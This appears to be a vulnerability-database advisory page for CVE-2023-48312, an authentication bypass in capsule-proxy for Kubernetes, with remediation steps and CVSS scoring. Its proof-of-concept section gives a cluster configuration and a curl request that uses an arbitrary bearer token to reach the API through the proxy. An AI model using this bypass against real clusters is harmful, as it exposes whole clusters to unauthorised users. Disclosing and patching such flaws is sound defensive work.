Loading...
Skip to main content

CVE-2023-48312 — Vulnerability in github.com/clastix/capsule-proxy...

CRITICAL

Capsule Proxy Authentication bypass using an empty token

Published November 24, 2023Updated August 21, 2024Source: osv

Summary

The privilege escalation is based on a missing check if the user is authenticated based on the `TokenReview` result. All the clusters running with the `anonymous-auth` Kubernetes API Server setting disable (set to `false`) are affected since it would be possible to bypass the token review mechanism, interacting with the upper Kubernetes API Server. # PoC Start a KinD cluster with the `anonymous-auth` value to `false`. If it is true, it uses anonymous permissions which are very limited by default ```yaml kind: Cluster apiVersion: kind.x-k8s.io/v1alpha4 nodes: - role: control-plane kubeadmConfigPatches: - | kind: ClusterConfiguration apiServer: extraArgs: anonymous-auth: "false" ``` Install `capsule` and `capsule-proxy` ``` k port-forward svc/capsule-proxy 9001 Forwarding from 127.0.0.1:9001 -> 9001 Forwarding from [::1]:9001 -> 9001 Handling connection for 9001 ``` Then query the proxy ``` curl -g -k -H 'Authorization: Bearer f' -X 'GET' 'https://localhost:9001/api/v1/namespaces' ``` # Impact The whole cluster is exposed to unauthorised users. This privilege escalation cannot be exploited if you're relying only on client certificates (SSL/TLS).

Advisory Timeline

  • First published November 24, 2023 (1053 days ago).
  • Last revised August 21, 2024 — 271 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Go
Update github.com/clastix/capsule-proxy to 0.4.6 or later
go get github.com/clastix/capsule-proxy@v0.4.6
Go
Update github.com/projectcapsule/capsule-proxy to 0.4.6 or later
go get github.com/projectcapsule/capsule-proxy@v0.4.6

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (2)

Affects 1 ecosystem: go (2).

PackageEcosystemAffectedFixed In
github.com/clastix/capsule-proxy
go
All versions0.4.6
github.com/projectcapsule/capsule-proxy
go
All versions0.4.6

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-287
    Improper AuthenticationMITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2023-48312?
Capsule Proxy Authentication bypass using an empty token This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.8/10).
How do I check if my project is affected by CVE-2023-48312?
CVE-2023-48312 affects github.com/clastix/capsule-proxy and github.com/projectcapsule/capsule-proxy. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2023-48312 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.8

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-fpvw-6m5v-hqfp
GO-2023-2351

Related CVEs

  • CVE-2025-55205
    CRITICAL

    Capsule tenant owners with "patch namespace" permission can hijack system namespaces label

  • CVE-2026-107806
    CRITICAL

    Nginx UI: Authenticated Remote Code Execution via Backup Restore App Config Overwrite

  • CVE-2026-68582
    CRITICAL

    Vikunja: Link-share token reads any tenant's kanban buckets and enumerates usernames/IDs instance-wide (BOLA)

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies